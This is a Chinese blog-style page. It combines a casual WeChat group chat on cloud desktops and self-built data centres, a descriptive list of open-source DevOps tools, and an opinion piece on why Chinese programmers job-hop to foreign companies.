运维杂谈、扯淡！微信群的一次技术杂谈分享

菜鸟A

群里有对云办公感兴趣的吗？

菜鸟B

云办公 什么概念？什么形态？

菜鸟C

云办公 什么概念？ 对啊！

菜鸟A

不知道就算了！

菜鸟D

云个球，其实就是远程桌面而已！

菜鸟B

不知道 你普及一下吗？真是的！

菜鸟C

真是的！

菜鸟B

@菜鸟D 别这么打击人家

菜鸟C

你不普及、介绍一下怎么让别人了解、感兴趣呢？

菜鸟D

今天某云给我发邮件让我续费，我在想这个时候我要是有自己的笔记本不就完啦[呲牙][呲牙]

菜鸟C

@菜鸟D 把人家姑娘吓到了， 云个球，其实就是远程桌面而已！

菜鸟B

这话太堵人了！

菜鸟C

这话多堵人啊！ @菜鸟D 赶紧发红包！

菜鸟D

所谓的云其实就是一种高可用的计算方式罢了，云桌面对性能的消耗是巨大的，这种搞法不如用固态硬盘的本地系统，我个人的观点还是首先需要建立起强大的本地化系统。

菜鸟B

那就是说底层很主要呗？

菜鸟D

云桌面给你配个386的主机你用不？

菜鸟B

386是what？

菜鸟C

@菜鸟D 说的云里雾里 3850？

菜鸟D

386就是i7的爷爷的的爷爷的那一代cpu

菜鸟B

我去  那用毛线啊！估计给我爷爷 他打个斗地主 也嫌弃！

菜鸟D

所以吗，没有整体系统性能的提升那云个球呀，我就反感商业公司这种扯淡的大忽悠！

菜鸟B

嘿嘿 没事 在这个群 使劲吐槽！

菜鸟D

本地化系统本身的功能进化才是最重要的！

菜鸟C

@菜鸟D  有道理！

菜鸟B

本身性能解决，确实是用户体验最佳的表现！

菜鸟D

当年的很多所谓的购买云计算资源是因为小鸡已经无法满足自己的生产需要，现在技术进化这么快，自建数据中心已经基本没有什么技术壁垒啦，还要云就是傻x [偷笑][偷笑][偷笑]

菜鸟C

产品不谈性能和用户体验就是耍流氓！

菜鸟B

@菜鸟D 这个可能会成为以后的趋势，自经营基础设施，有能力的公司可能都会自建机房数据中心！ 因为钱放自己身上是最好的！

菜鸟D

很早就有篇译文分析了自建数据中心和购买云的性价比，结论就是购买和自建基本少不了多少银子，从长远来看自建带来的投资回报率更高些，现在自建数据中心的资源企业回收之后就可以部署其他新应用，基础资源投入后也就剩下掏电费啦，所以云是一种新的计算模式，是建立在数据中心架构上的高可用工程化计算资源部署。

菜鸟B

@菜鸟D 这个我赞同，长远来看自建比较好。但是国内企业现在局面基本以创业公司和小型企业居多和活跃！所以云现在有存在的市场和价值！

菜鸟D

我个人觉得传统大it公司一旦觉悟，钱还是他们稳賺，现在云计算还处在成长期，但自建数据中心模式肯定是未来企业的产品市场！

菜鸟C

@菜鸟D 有远见！

菜鸟B

自建数据中心模式肯定是未来企业的产品市场  @菜鸟D 那你可以考虑向这个方向创业啊！那以后你就挣大发了，王健林卖房子，以后你就做数据中心服务一体化构建！

菜鸟D

人家cisco，h3c,华为,VMware,redhat都没闲着！

菜鸟B

都自建吗？

菜鸟D

自建需要硬件吧，需要方案吧，需要规划吧[偷笑][偷笑]

菜鸟B

这是肯定的需要，然后呢？

菜鸟D

那不就完了吗，需要你总的投资吧，建起来啦就该自己管理运维啦！

菜鸟B

那你赶紧建一个去！

菜鸟D

人家卖的是整体解决方案！

菜鸟B

以后互联网格局相对比较稳定了，那是不是自建大的数据中心？那这些大公司又又得挣了？

菜鸟D

小规模也可以呀，人家2000多人的单位搞7台服务器做个小数据中心，服务器都在上边跑，这才是真正的省资源！

菜鸟B

那这么说，以后卖机房自建数据中心创建方案、实施、硬件一条龙服务的厂商比较吃香？

菜鸟D

其实力哥讲的那个kvm现在就可以干这些事，只不过没有VMware 那种自动漂移和健康状态监控

菜鸟B

自动漂移和健康状态监控 可以二次开发 支持吗？

菜鸟D

我们已经进行中啦，单位的事我不馋和[呲牙][呲牙]

菜鸟B

那你做什么？

菜鸟D

其实给小微企业做那种5台基础然后可以横向扩展的数据中心挺有前途的，个人觉得！

菜鸟B

有点意思！

菜鸟D

@菜鸟B  我参与方案制订和技术讨论

菜鸟B

@菜鸟D  原来你属于智慧阶级  非民工阶级

菜鸟D

现在很多企业，事业单位都还是单服务器呐，真要让数据中心模式成为一种方式，那很多都需要升级的！

菜鸟B

你所说的升级 指的是 硬件方面的配置吗？

菜鸟D

从传统的机房升级到数据中心计算模式

我对数据中心计算模式的理解:数据中心就是工程化的计算资源池，传统硬件在这里就是细胞资源[呲牙][呲牙]

菜鸟B

颗粒化？

菜鸟C

@菜鸟D 你可以写书了！

菜鸟D

思想碎片而已，写书又不挣钱，能和大家闲扯淡就很好啦！

菜鸟B

好一个思想碎片化 写书确实不挣钱，就是挣个名声！

菜鸟D

未来这些细胞资源肯定需要用linux来首先变成具有强大本地化功能的系统

其实我一直觉得蚁穴结构很有意思，数据中心就是蚁穴，然后是各种蚁巢(硬件设施)，再然后就是蚂蚁(容器化的微服务)[呲牙][呲牙][呲牙]

菜鸟B

好形象的比喻，高！

好了菜鸟扯淡杂谈就这样结束了。
此次杂谈菜鸟主角------>菜鸟D（解宝琦）  配角------>菜鸟B（采菊篱下)   友情出演菜鸟C（邓荣兴），群众演员菜鸟A！

今天在群里，一哥们发出了一个好湿，大家共爽！

横批

苦逼运维

上联

一个项目两部电脑三餐盒饭只为四千工资搞得五脏俱损六神无主仍然七点起床八点开会处理九个报警十分辛苦

下联

十年运维九年加班八面无光忙的七窍生烟到头六亲不认五体投地依旧四肢酸软三更加班只为二个臭钱一生孤独

总结：运维虽苦逼，领导需善待；如若无感悟，携程你榜样！
 
 运维杂谈、扯淡群 里面什么都可以说，畅所欲言，越激烈越好，各抒己见！思维发散 自由言论！自由表达！侃大山 生活需要扯淡 让生活解压！
有意加入者，扫码加入，加入不了，可以加微信号：crh_Love_ghl  注明拉取进杂谈群！

你喜欢免费的东西吗？获得开发者社区支持的自动化，开源的工具是大家梦寐以求的。这里列举了 60+ 款最棒的开源工具，可以帮助你很好的实行 DevOps。
大图点这里

开发工具

版本控制&协作开发

版本控制系统 Git



Git 是一个开源的分布式版本控制系统，用以有效、高速的处理从很小到非常大的项目版本管理。



开源中国 Git 代码托管平台：http://git.oschina.net/



代码托管平台 GitLab



GitLab 是一个利用 Ruby on Rails 开发的开源应用程序，实现一个自托管的Git项目仓库，可通过Web界面进行访问公开的或者私人项目。开源中国代码托管平台 git.oschina.net 就是基于 GitLab 项目搭建。



代码评审工具 Gerrit



Gerrit 是一个免费、开放源代码的代码审查软件，使用网页界面。利用网页浏览器，同一个团队的软件程序员，可以相互审阅彼此修改后的程序代码，决定是否能够提交，退回或者继续修改。它使用 Git 作为底层版本控制系统。



版本控制系统 Mercurial



Mercurial 是一种轻量级分布式版本控制系统，采用 Python 语言实现，易于学习和使用，扩展性强。



版本控制系统 Subversion



Subversion 是一个版本控制系统，相对于的RCS、CVS，采用了分支管理系统，它的设计目标就是取代CVS。互联网上免费的版本控制服务多基于Subversion。



版本控制系统 Bazaar



Bazaar 是一个分布式的版本控制系统，它发布在 GPL 许可协议之下，并可用于 Windows、GNU/Linux、UNIX 以及 Mac OS 系统。

自动化构建和测试

Apache Ant



Apache Ant是一个将软件编译、测试、部署等步骤联系在一起加以自动化的一个工具，大多用于Java环境中的软件开发。



Maven 



Maven 除了以程序构建能力为特色之外，还提供 Ant 所缺少的高级项目管理工具。由于 Maven 的缺省构建规则有较高的可重用性，所以常常用两三行 Maven 构建脚本就可以构建简单的项目，而使用 Ant 则需要十几行。事实上，由于 Maven 的面向项目的方法，许多 Apache Jakarta 项目现在使用 Maven，而且公司项目采用 Maven 的比例在持续增长。开源中国的 Maven 库 http://maven.oschina.net



Selenium



Selenium (SeleniumHQ) 是 thoughtworks公司的一个集成测试的强大工具。



PyUnit



Python单元测试框架（The Python unit testing framework），简称为PyUnit， 是Kent Beck和Erich Gamma这两位聪明的家伙所设计的 JUnit 的Python版本。



QUnit



QUnit 是 jQuery 的单元测试框架。



JMeter 



JMeter 是 Apache 组织的开放源代码项目，它是功能和性能测试的工具，100% 的用 java 实现。



Gradle



Gradle 就是可以使用 Groovy 来书写构建脚本的构建系统，支持依赖管理和多项目，类似 Maven，但比之简单轻便。



PHPUnit



PHPUnit 是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植，是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。

持续集成&交付

Jenkins



Jenkins 的前身是 Hudson 是一个可扩展的持续集成引擎。



Capistrano



Capistrano 是一个用来并行的在多台机器上执行相同命令的工具，使用用来安装一整批机器。它最初是被开发用来发布 Rails 应用的。



BuildBot



BuildBot 是一个系统 的自动化编译/测试周期最需要的软件，以验证代码的变化。通过自动重建和测试每次发生了变化的东西，在建设迅速查明之前，减少不必要的失败。



Fabric



fabric8 是开源 Java Containers(JVMs) 深度管理集成平台。有了 fabric8 可以非常方便的从 UI 和 UX 一致的中央位置进行自动操作，配置和管理。fabric8 同时提供一些非功能性需求，比如配置管理，服务发现故障转移，集中化监控，自动化等等。



Tinderbox



Travis CI



Travis CI  是一个基于云的持续集成项目， 目前已经支持大部分主流语言了，比如：C，PHP，Ruby，Python, Nodejs等等。



Continuum



Apache Continuum 是最新的 CI 服务器之一，也是值得关注的一个新进入者。基于 Web 的界面使得配置项目很容易。而且，还不需要安装 Web 服务器，因为 Continuum 内置了 Jetty Web 服务器。并且，Continuum 可以作为 Windows 服务运行，还在应用程序的某些部分嵌入了上下文敏感的文档，从而提供了很多帮助。



LuntBuild



LuntBuild 是一个强大自动构建的工具。通过一个简洁的web接口就可以很容易地进行系统的持续构建。



CruiseControl



CruiseControl 是一个针对持续构建程序(项目持续集成)的框架,它包括一个email通知的插件，Ant和各种各样的CVS工具。CruiseControl提供了一个Web接口, 可随时查看当前的编译状况和历史状况



Integrity



Integrity 是 Ruby 开发的持续集成服务器。



Gump



Gump 是 Apache 的整合工具。它以 Python 写成、完全支持 Apache Ant、Apache Maven 等等软件组建工具。



Go



Go 是 Google 开发的一种编译型，并发型，并具有垃圾回收功能的编程语言。

部署工具

容器平台

Docker



Docker 是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。



Rocket



Rocket （也叫 rkt）是 CoreOS 推出的一款容器引擎，和 Docker 类似，帮助开发者打包应用和依赖包到可移植容器中，简化搭环境等部署工作。



Ubuntu（LXC）



LXD 是 ubuntu 基于 LXC 技术的重构，容器天然支持非特权和分布式。LXD 与 Docker 的思路不同，Docker 是 PAAS，LXD 是 IAAS。LXC 项目由一个 Linux 内核补丁和一些 userspace 工具组成。这些 userspace 工具使用由补丁增加的内核新特性，提供一套简化的工具来维护容器。

配置管理

Chef



Chef 是一个系统集成框架，为整个架构提供配置管理功能



Puppet



Puppet，您可以集中管理每一个重要方面，您的系统使用的是跨平台的规范语言，管理所有的单独的元素通常聚集在不同的文件，如用户， CRON作业，和主机一起显然离散元素，如包装，服务和文件。



CFengine



Cfengine（配置引擎）是一种 UNIX 管理工具，其目的是使简单的管理的任务自动化，使困难的任务变得较容易。Cfengine 适用于管理各种环境，从一台主机到上万台主机的机群均可使用。



Bash



bash 是大多数Linux系统以及Mac OS X v10.4默认的shell，它能运行于大多数Unix风格的操作系统之上，甚至被移植到了Microsoft Windows上的Cygwin系统中，以实现windows的POSIX虚拟接口。此外，它也被DJGPP项目移植到了MS-DOS上。



Rudder



Rudder 已改名为Flannel，为每个使用 Kubernetes 的机器提供一个子网。也就是说 Kubernetes 集群中的每个主机都有自己一个完整的子网，例如机器 A 和 B 可以有 10.0.1.0/24 和 10.0.2.0/24 子网。



Powershell



RunDeck



RunDeck  是用 Java/Grails 写的开源工具，帮助用户在数据中心或者云环境中自动化各种操作和流程。通过命令行或者web界面，用户可以对任意数量的服务器进行操作，大大降低了对服务器自动化的门槛。



Saltstack



Saltstack  可以看做是func的增强版+Puppet的弱化版。使用Python编写。非常好用,快速可以基于EPEL部署。Salt 是一个开源的工具用来管理你的基础架构，可轻松管理成千上万台服务器。



Ansible



Ansible 提供一种最简单的方式用于发布、管理和编排计算机系统的工具，你可在数分钟内搞定。Ansible 是一个模型驱动的配置管理器，支持多节点发布、远程任务执行。默认使用 SSH 进行远程连接。无需在被管理节点上安装附加软件，可使用各种编程语言进行扩展。

微服务平台

OpenShift



OpenShift 是由红帽推出的一款面向开源开发人员开放的平台即服务(PaaS)。 OpenShift通过为开发人员提供在语言、框架和云上的更多的选择，使开发人员可以构建、测试、运行和管理他们的应用。



Cloud Foundry



Cloud Foundry 是VMware于2011年4月12日推出的业界第一个开源PaaS云平台，它支持多种框架、语言、运行时环境、云平台及应用服务，使开发 人员能够在几秒钟内进行应用程序的部署和扩展，无需担心任何基础架构的问题。



Kubernetes



Kubernetes 是来自 Google 云平台的开源容器集群管理系统。基于 Docker 构建一个容器的调度服务。该系统可以自动在一个容器集群中选择一个工作容器供使用。其核心概念是 Container Pod。



Mesosphere



Apache Mesos 是一个集群管理器，提供了有效的、跨分布式应用或框架的资源隔离和共享，可以运行Hadoop、MPI、Hypertable、Spark。

服务开通​

Puppet



Puppet，您可以集中管理每一个重要方面，您的系统使用的是跨平台的规范语言，管理所有的单独的元素通常聚集在不同的文件，如用户， CRON作业，和主机一起显然离散元素，如包装，服务和文件。



Razor



Docker Swarm



Docker Swarm 是一个Dockerized化的分布式应用程序的本地集群，它是在Machine所提供的功能的基础上优化主机资源的利用率和容错服务。具体来 说，Docker Swarm支持用户创建可运行Docker Daemon的主机资源池，然后在资源池中运行Docker容器。Docker Swarm可以管理工作负载并维护集群状态。



Vagrant



Vagrant 是一个基于 Ruby 的工具，用于创建和部署虚拟化开发环境。它使用 Oracle 的开源 VirtualBox 虚拟化系统，使用 Chef 创建自动化虚拟环境。



Powershell



OpenStack Heat

维护

日志记录

Logstash



Logstash 是一个应用程序日志、事件的传输、处理、管理和搜索的平台。你可以用它来统一对应用程序日志进行收集管理，提供 Web 接口用于查询和统计。



CollectD



collectd 是一个守护(daemon)进程，用来收集系统性能和提供各种存储方式来存储不同值的机制。比如以RRD 文件形式。



StatsD



StatsD 是一个简单的网络守护进程，基于 Node.js 平台，通过 UDP 或者 TCP 方式侦听各种统计信息，包括计数器和定时器，并发送聚合信息到后端服务，例如  Graphite

监控，警告&分析

Nagios



Nagios 是一个监视系统运行状态和网络信息的监视系统。Nagios能监视所指定的本地或远程主机以及服务，同时提供异常通知功能等。



Ganglia



Ganglia 是一个跨平台可扩展的，高 性能计算系统下的分布式监控系统，如集群和网格。它是基于分层设计，它使用广泛的技术，如XML数据代表，便携数据传输，RRDtool用于数据存储和可视化。



Sensu



Sensu 是开源的监控框架。主要特性：高度可组合；提供一个监控代理，一个事件处理器和文档 APIs；为云而设计；Sensu 的现代化架构允许监控大规模的动态基础设施，能够通过复杂的公共网络监控几千个全球分布式的机器和服务；热情的社区。



zabbix



zabbix 是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。



ICINGA



ICINGA 项目是 由Michael Luebben、HendrikB?cker和JoergLinge等人发起的，他们都是现有的Nagios项目社区委员会的成员，他们承诺，新的开源项 目将完全兼容以前的Nagios应用程序及扩展功能。



Graphite



Graphite 是一个用于采集网站实时信息并进行统计的开源项目，可用于采集多种网站服务运行状态信息。Graphite服务平均每分钟有4800次更新操作。



Kibana



Kibana 是一个为 Logstash 和 ElasticSearch 提供的日志分析的 Web 接口。可使用它对日志进行高效的搜索、可视化、分析等各种操作。

以上，如果有其他补充可以在评论中跟大家分享哦！
原文地址：https://elasticbox.com/blog/devops-open-source-tools/

    一些人总是发出一些错误的声音，形成了劣胜优汰可怕的现象。他们在误导着中国，把我们的后继军训练成软件蓝领，胸无大志，目光短浅，稍有点成绩就自满就自高自大的人，浑不知天外有天，外国正在虎视眈眈盯着中国的庞大市场。
 
    由于软件蓝领的呼声人们不再致力于培养大批的高精尖人才，掌握国际尖端技术的人。而是花费心思培训一群猪出来给外国人利用。把自己的命运交给了外国人手里。结果，在最容易的管理软件领域也输给外国人，外国人派几个人过来，利用中国的劳动力，开发出软件，再卖给中国。大量的利润到了外国人手里。而我们的中的一些人还在沾沾自喜：外国人给的工资高；外国的软件好。
 
    低品质产品是没人要的。软件蓝领也不例外。
 
    他们不知道中国制造一个优秀程序员的难度，还在患红眼病。程序员制造，你可算过成为一个程序的高昂代价？没日没夜地工作，没有女朋友，运维也是如此，感情是一片沙漠，没有钱打工者的命运是悲惨的。
 
    真想知道究竟是哪个公司的程序员为了五十块钱跳槽，是哪个公司说需要软件蓝领。
 
    他们把不思进取比喻为工作稳定。
 
    国外可以在一个单位效力几十年。在国内不行。为什么？没有培训，没有上升机会。你被压榨完后就被扔掉。哪个有志向的人甘于这样的命运？
 
    中国的程序员是世界上最好的程序员。他们不计报酬，没日没夜地工作。没有女朋友，没有节假日，可能几年后他们一无所有但他们仍在加班...

一、程序员为什么要跳槽？

    有两个报道：
             1、“程序员为了五十块钱就跳槽”“万元月薪请不动程序员”“20％的程序员跳槽后都去了外企”
             2、印度的程序员比中国稳定。
    另有两个报道：
             1、本科生去美国工作两年后即可年薪10万美元。当然，他们是加薪很快。
             2、国外的企业都有培训。很吸引人。许多人是冲着培训去的。
    国外可以在一个单位效力几十年。在国内不行。为什么？没有培训，没有上升机会。你被压榨完后就被扔掉。哪个有志向的人甘于这样的命运？
 
    中国的程序员是世界上最好的程序员。他们不计报酬，没日没夜地工作。没有女朋友，没有节假日，可能几年后他们一无所有。他们仍在加班。
 
    有培训，就意味着你不会永远拿着现在的薪水。意味着你在不断进取，不断进步，能力越来越强，你就可以担当越来越重的工作，就可涨工资。给人看到未来。即使你对现在的薪水待遇不满意，你通过自身的辛勤不懈的努力和奋斗，就可达到你要的待遇。你不用嫉妒别人。只要你努力就可达到他甚至超过他。
  
    没培训，意味着不思进取，思想僵化，要被淘汰。没有希望，看不到未来。你注定被淘汰。别人通过拼捕获得的成功你就要嫉妒。因为你永远达不到那个高度。只有暗算他，把他拉下来，你才能达到心理的平衡。
 
    去外企，你可以看到一个光明的前途，你可以不断进步。路越走越宽。你在那个企业工作一段时间后，学到了很多东西。出来后你就是另外一个人。我曾经想去一个企业，不是因为他的工资高，而是他那里有培训，甚至送到国外培训，从他那里出来后可以当总经理。
 
    在国内，你的路会越走越窄，最终无路可走。因为你没有学习，落后于时代，再找到新工作都很难。
 
    国内公司只会大呼疾呼人才难留。他们没想过，他们是如何对待人才的，他们只会残酷剥削，搞政治斗争，整人。
 
    国内公司不去学习别人的先进的管理方法，反倒怨来怨去，浑不去找自己自身的原因。
1、为什么要跳来跳去？     
    因为在本公司内没有上升机会。  
    
    中国程序员是艰苦的，也是聪明的。他们利用一切时间进行学习。就拿我来说，军训完毕后，离计算机机房下班只有十五分钟时间了。一口飞跑到机房，只有十分钟可以学习电脑。就这十分钟，也要利用上。
 
    当他们发现本公司没有培训机会，没有学习机会，可这一切又怎能挡得住前进的脚步？国内公司管理一般是很差的，员工没有成长机会和发展空间。唯一的办法就是跳槽。某人戏称，每跳一次，工资就要加一倍。就拿我来说，每跳一次工资也确实是加一倍。拼命学习获得了知识的高增长，个人的高速进步，这没错。而雇主能看上我，也确实是自己能力已经达到这个水平。但越来最后每跳一次的时间越长。也许是因为进步速度慢了吧。后来又有些后悔，跳来跳去没有根，人到了一定程度就要扎下根来，把一项技术搞透，就需要长时间的积累，反而又踏实下来了。

    所以说，那些不断跳来跳去的程序员，其实是仍在初级阶段，到了中级阶段基本就稳定下来了，在某一个细分方向上获得突破。但我建议是，如果不能达到工资翻一倍的水平，或者目标公司没有特别之处，最好不要跳。否则每跳一次，原来积累的人际关系就会丢掉，而技术又没有长足的进步，如此跳来跳去，只会毁了自己，更可能越跳工资越低。到了一定层次后就不能再满足于一些小钱，而是要做事业了。衡量的目标，不是当前多少钱，而是以后会有多少钱。

    一般来说，国内公司也没培训，初级阶段获得迅速成长的惟一途径是自我学习跳槽。中级阶段要稳定下来。因为你这时已经到了“高原阶段”，工资也到了高原，精力也没以前充沛，不能再没日没夜加班加点了，也很难再获得突破，要想技术飞速进步只能去国外了。或者自己苦心钻研。现在许许多多的程序员通过自己的努力都到了此阶段。

2、为什么要跳到外企？

    外企有信用。让人放心。有培训，有高薪，老板把你当人看，剥削较轻，不像国内企业那样敲骨吸髓。可以找到女朋友。一般可以找到大施身手的空间。但有随时被裁危险。但一般是做得非常开心、顺心。

    老板说给你多少钱一般不用担心他会找理由克扣。这样你就可以尽可以放心地大施手脚。

下面列举几个事实，说明为什么要跳到外企：

1、广州X创软件，在广州体育西路。

    其老板以前是搞外贸的，发了财。我拿自己的全部代码(我拥有版权的软件)，他卖。他老板说，你只能给我打工。你自己去运作，赚了钱，你这个软件开发者和版权拥有者只能拿到40%以下，而且你来到公司三个月后，代码的版权要归公司。

    我起身走了。如果我能出国的话，我一辈子都不愿意再回来。

2、广州市X聪软件

    我去之前谈好，我不要工资，我自己独立运作市场和软件开发，他公司只提供一个营业执照，赚钱分给他一半。辛苦了一个月，击败了众多对手后，一个十万元的项目总算有要签合同了。那个老板说，公司调整。你划到市场部。项目的10%拿到市场部，你再从市场部分得点数。(到我手里只有不到5%)。从下个月起，每个月1000块钱工资。你说话不算数，出尔反尔，没信用。我抗议。抗议无效。算工资的话，也行，那你把上个月的1000块钱工资算给我才行。不，上个月没工资。只能从下个月开始算工资。那我走，你把项目的15%提成算给我，这是你定的规定。没有15%，你只能拿5%。如果你现在走，那5%也拿不到。

    跟这样的公司混，你有未来吗？我能拼命给他干吗？

    我拿起背包头也不回地走了。一分钱也没拿到。找到的新工作是，一个月一万。打工。

    我想把项目带走。但客户怕得不到保障。因为我没有公司。最后仍是把项目给了那个进销存公司。

3、X苑集团。港资

    我对晶苑集团怀着深深的尊敬，并祝晶苑集团南中国电脑部叶富华先生马到成功，新春愉快。

    我印象最深的就是外企的信用。

    面试时，接待小姐端来一杯茶水。我很感激他们对我这样一个普通程序员的重视。（我去国内公司面试没有一家给我端水的。他们让你先做一份考题。做完了你回去等通知。后来我有经验了，去之前先问问怎样面试，只要是做题，见不着考官的，一概不去。再后来发展到只要是国内企业的，一概不去。）我的工资是上一份工作的将近二倍。

    欣喜若狂。公司有买被子津贴（公司给你买被子）、吃饭补助、住宿补助、加班费(1.5元/小时)。有加班费好啊。拼命加班吧。

    每天工作十八个小时到二十个小时。在四个月零十天的工作中，我只休息了一天。其他时间时间每天都像玩命似地。。。没有人逼我们，是我们自愿的。

    公司从香港总部派人到大陆对我们进行培训。支出专门的图书经费让我们建立电脑图书馆。请来专门的电脑教师，列出培训大纲，每天对我们进行程序培训。

4、香港X新丰软件公司。位于广州天河软件园。

    我做了四天，什么成绩都没做出来。但公司照给工资不误。午餐费、住宿费、交通费、保险费都给了我。很有信用。这样的公司，员工不会说它的坏话。只会尊敬、热爱和拥戴这个企业。

    老板很好。我们只要使他的资本达到20%的利润率就行了。

5、X元鞋业。台资。

    月薪8000请了个程序员(这个程序员不是我，我没有那么菜）。不知什么原因，反正做了两个月什么也没做出来。公司虽然大呼上当:-)，但仍然是客客气气地付了一万六给他。这份胸襟，试问哪个国内企业能做得到？

结论：

    国外企业已经完成原始积累，所以剥削相对轻很多，给员工的空间也较大。国内的企业还正在进行原始积累，进行疯狂压榨。正如资本论所说，只给你基本的生活费，其他的全部被老板拿走。“每一个毛孔都滴着血和肮脏的东西”。那两个国内公司，也滴尽了无数程序员的血泪。

    不说了。空喊口号没用。还是克隆微软，克隆人家的管理方式来得实在。把我们玩弄于股掌之上，说给我们加薪加薪再加薪全部算下来我拼命赚钱的9５%都被你拿走多一分都不给我，说给我股票给我们期权可没一样能兑现，你说给我们多少工资我时刻都要提防你克扣工钱。你太贪婪，恨不得把全部拿过去，全部占为己有，不给我们留下一点活路。

    你喊多少口号都没用。我幸而生在这个加入ＷＴＯ的社会，要在以前，我早被你整死了。我入外企我光荣。我逃脱魔掌我光荣。“士为知己者死”，你不要怪我们去外企。不能因为你生在中国我们就活该被你整死。你是土老财，我们是被解放军解放的翻身作主的奴隶。

二、程序员工资太高？

    你们在花前月下亲那柔嫩的红唇的时候，我们在做什么？你们在剥开女孩子衣服共度良宵的时候，我们在做什么？你们在唱歌跳舞纵情享乐的时候，我们在做什么？你们在争风吃醋大打出手的时候，我们在做什么？你们在给校长送礼的时候，我们在做什么？你们在喝酒猜拳的时候，我们在做什么？

    我们在写程序。

    如果你把我们的工资和那些好吃懒做在学校泡妞打架毕业后贪污受贿疯狂压榨人民血汗黑心黑手拿黑钱的人进行比较，我只能告诉你，你错了。

    你付出了什么，我们付出了什么？

    如果因为你的工资只有八百元，看见别人的工资超过你就生气，就要求别人的工资也要向八百元看齐，我只能说，你犯了红眼病了。中国人的劣根就是，不患穷患不均。外国人看到谁有钱就说，啊，我要超过他。中国人说，他妈的，我恨不得把他杀掉！大家都穷，我没意见，如果有谁冒尖我就想把他给拔掉。只想问一句，别人辛苦工作的时候，你干什么去了？

    我要说，当一个人，倾毕生精力和心血，把所有东西都倾注于一件事情时，他获得的只是普通人的十倍工资，这太低了。

    只拿着几千块钱工资，太少了。拿这点工资想去买一个人的青春和爱恋，这个人太不值得了。

    做生意的，当官的，欺压老百姓的，作威作福的，贪污受贿的。

    他们不用担心失业，不用担心技术过时，不用担心众多的竞争者。他们不用担心房子，不用担心车子。谁都知道他们一个月不会只有几千块钱那么简单。打工，写程序，是不能同他们比的。一个拥用着程序员的聪明和智慧的人去做那些事情，收入肯定比当程序员强算了，不比了。比起来心痛。

    这两个是纵向比较。同地区不同工种这间比较。按劳取酬，多劳多得，我们的所得与所付出的，仍然是不成比例。

    再横向比较。同一个劳动力在不同劳动市场上价格的比较，同一工种在不同地区的工资进行比较。

    程序员的工资，不是太高，而是太低了。

    一个本科生，出国工作两年后就可年薪十万，美元。而我们在为我们伟大的社会主义国家作贡献，只拿着5%的工资。(国外100万，国内才5万)

    一个同事到了国外，月薪5000美元，而他在国内才4000人民币。相差十倍。

    一个人，排除掉感情因素，他的东西当然是卖给出价高的那个人。这还用问吗？

    正如大批的留学生回来。不是我爱国，而是国内的空白多，机会多，发展空间大，所以我们大批地回来。

    时代在呼唤，人才的价值在回归，知识的价值在回归。

三、中国需要大量软件蓝领？

    我们已经输给了外国，还要在新一轮的竞争中自甘堕落？

    谁要软件蓝领？

    一记者去人才市场向各招聘单位问其需不需要软件蓝领.招聘单位都不明白软件蓝领是什么意思.待记者说明软件蓝领的意思后,各公司都说我们不要。基层人才从来都不缺乏。

    一方面是报纸大声呼吁软件蓝领要尽快制造出来,”我们要有大量的低成本的代码工人”,另一方面,企业不要这方面的人才.怪事。是谁大声疾呼需要软件蓝领的？他不知道各大公司都在裁员吗？

    面对生产力越来越高的生产工具（软件开发工具），软件蓝领淘汰势在必行。那些学习太慢的白领都会被淘汰掉，更遑论蓝领了。软件蓝领，还没培训出来就已面临灭顶之灾。

    软件工厂是不错,但软件工厂的核心不是吞下大量的软件蓝领和人海战术，而是对现有资源的整合和利用,降低现有的生产成本和交易成本。一味嚷嚷要求软件蓝领的企业，只是那些由于管理不善快要被市场淘汰的企业，这样的险恶用心有两个：一是最好不要钱的软件奴隶供驱使，二是将那些正在会成长起来的优秀的人才扼杀在摇篮中，他们成长不起来，就减少了竞争对手。而且由于对他们进行的愚化教育，要他们立志成为软件蓝领。没有了胸怀大志，中国的软件产业才真正危险。

    可喜的是，市场将用残酷的市场法则对那些人和那些所谓的软件蓝领进行残酷地淘汰。只有那些真正有领导眼光的魄力的“软件工厂”才会真正建立起来。微软才是软件工厂，他将几十几百人几千人几万人的力量集中在一起，生产出产品，在全世界销售。我们某些“软件工厂”不过是玩概念罢了。玩吧，玩吧，终有死的一天。你会死的很难看。

    可喜的是，软件蓝领喊了很久也没见哪个企业招一个，更多的是裁员。

    事实证明了蓝领的不适应性。机器排挤人，程序员中也在排挤之列。由于高生产力的开发工具的越来越多的使用，软件开发成本的大幅下降，软件开发越来越自动化，越来越多的人被机器排挤掉。许多由人去完成的事情，现在由机器做的很好，许多程序员被裁下来。(资深程序员应该有这种体会)。

    现在所谓的“软件工厂”，最大的危害在于他由于在学生中传播，使许多学生胸无大志，挣两钱就满足，把许多优秀人才扼杀在摇蓝中。

    我们需要的是,天才的政治家，整合起一盘散沙的中国，天才的军事家，抵抗外强的侵略。

    附：有人由“深圳快找不到蓝领了”而觉得“软件业也快找不到蓝领了”。

    深圳快找不到蓝领了。

    不错。

    他们要找的是什么样的蓝领？是以前概念中的只读完小学二年级，穿着蓝色工装，满身油污，手拿老虎钳的蓝领吗？

    不。

    他们要精通计算机技术，要精通图纸，要精通制造工艺，要精通机电技术，还要懂英文。这样才能读懂英文说明书，才能看懂图纸，才能编制数控机床所用的计算机程序，才能控制数控机床。而且这些最先进的数控机床使用了目前世界上最先进的技术，因此这个“蓝领”如果几年不跟踪技术趋势他就会发现他不再会使用这些代表着最先进生产力的机器，就会被淘汰掉。

    这样的蓝领是一般的所谓的白领能比得上的吗？三个白领也比不上这样一个“蓝领”呀。随随便便大喊一声“我们找不到这样的蓝领”，实在是有失偏颇。有没有想过，在这样一个使用着高技术，掌握着自动化工具蓝领的背后，是多少低技术蓝领的失业？生产制造这样一个蓝领，需要多少金钱和时间？这样的蓝领实在是造价不菲。所以在国外，总工和总经理是一级的，总工的待遇有时比总经理还高。而在国内人多粥少人治环境中，技术人才实在得不到重视。

四、软件工厂

    其实，我们真正想要的，不是软件蓝领，而是软件工厂。而且这样的工厂最多只要两个。

    当软件生产的管理水平到了一定高度，自会以工厂的形式运作，以大幅降低生产成本。

    软件工厂是用来做什么的？

           1、生产什么？哪里这么多的订单来维持工厂的运转？
